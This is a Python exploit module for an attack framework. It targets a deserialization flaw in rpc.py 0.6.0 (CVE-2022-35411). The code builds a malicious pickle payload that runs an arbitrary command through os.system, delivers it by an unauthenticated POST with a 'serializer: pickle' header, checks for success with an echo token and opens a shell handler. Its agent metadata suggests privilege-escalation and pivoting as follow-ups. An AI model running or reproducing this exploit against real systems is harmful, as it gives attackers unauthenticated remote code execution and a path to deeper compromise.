rpc.py 0.6.0 - RCE

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
import pickle

class Module(Exploit, Http_client, Handler):
        

    __info__ = {
        'name': "rpc.py 0.6.0 - RCE",
        'description': "rpc.py through 0.6.0 allows Remote Code Execution because an unpickle occurs when the 'serializer: pickle'"\
                        "HTTP header is sent. In other words, although JSON (not Pickle) is the default data format, an unauthenticated "\
                        "client can cause the data to be processed with unpickle.",
        'cve': '2022-35411',
        'platform': Platform.LINUX,
        'payload': {
            'default': 'nopayload',
            },
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires':             {'min_endpoints': 0,
             'min_params': 0,
             'tech_hints_any': [],
             'tech_hints_all': [],
             'specializations_any': [],
             'risk_signals_any': [],
             'auth_session': False,
             'capabilities_any': [],
             'capabilities_all': [],
             'confidence_min': {},
             'confidence_min_any': {},
             'endpoint_pattern_any': [],
             'param_any': [],
             'api_surface_ready': False},
            'chain':             {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                       {'capability': 'shell', 'from_detail': ''}],
             'consumes_capabilities': [],
             'option_bindings': {},
             'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                     'post/shell/multi/manage/pivot_autoroute']},
        },
        }	

    def generate_payload(cmd):
        
        class PickleRce(object):
            def __reduce__(self):
                import os
                return os.system, (cmd,)

        payload = pickle.dumps(PickleRce())
        return payload

    def check_execute(self):
        
        token = self.random_text(10)
        r = self.execute(f"echo {token}")
        if token in r:
            return True
        return False

    def execute(self, cmd):
        
        data = self.generate_payload(cmd)
        r = self.http_request(
                            method="POST",
                            headers={"serializer": "pickle"},
                            data=data)
        return r.content
        
    def run(self):
        if self.check_execute():
            self.handler_execute()
        else:
            self.not_vulnerable()